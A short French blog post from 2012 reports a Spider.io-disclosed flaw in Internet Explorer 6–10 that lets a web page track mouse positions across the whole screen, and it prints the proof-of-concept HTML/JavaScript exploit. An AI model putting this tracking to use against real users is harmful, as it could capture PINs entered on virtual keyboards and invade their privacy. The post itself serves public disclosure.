chatpro: Une faille dans IE permet de suivre les mouvements de la souris

vendredi 14 décembre 2012

Une faille dans IE permet de suivre les mouvements de la souris

Malgré les nombreuses améliorations apportées au fil de temps, Internet Explorer versions 6 à 10 est susceptible d’être touché par une faille de sécurité qui permet à un attaquant de suivre et d’enregistrer tous les mouvements de votre souris, et cela sur tout l’écran, même si IE est réduit dans la barre des tâches ou inactif .

Cette faille pourrait s’avérer dangereuse, surtout pour les clients de certaines banques, qui proposent de taper en ligne son code confidentiel via un clavier virtuel, pour parer aux keyloggers.

Depuis le 1er octobre, Microsoft n’aurait pas avancé sur la mise en place d’un patch correctif, ce qui pousse Spider.io à divulguer au public l’existence de cette vulnérabilité en espérant ainsi pousser l’éditeur du navigateur Internet à la réaction.

Si cela vous intéresse, voici le code de l’exploit :

01Exploit
02-----------------
03<!DOCTYPE html>
04<html>
05<head>
06 <meta charset="utf-8" />
07 <title>Exploit Demo</title>
08 <script type="text/javascript">
09 window.attachEvent("onload", function() {
10 var detector = document.getElementById("detector");
11 detector.attachEvent("onmousemove", function (e) {
12 detector.innerHTML = e.screenX + ", " + e.screenY;
13 });
14 setInterval(function () {
15 detector.fireEvent("onmousemove");
16 }, 100);
17 });
18 </script>
19</head>
20<body>
21 <div id="detector"></div>
22</body>
23</html>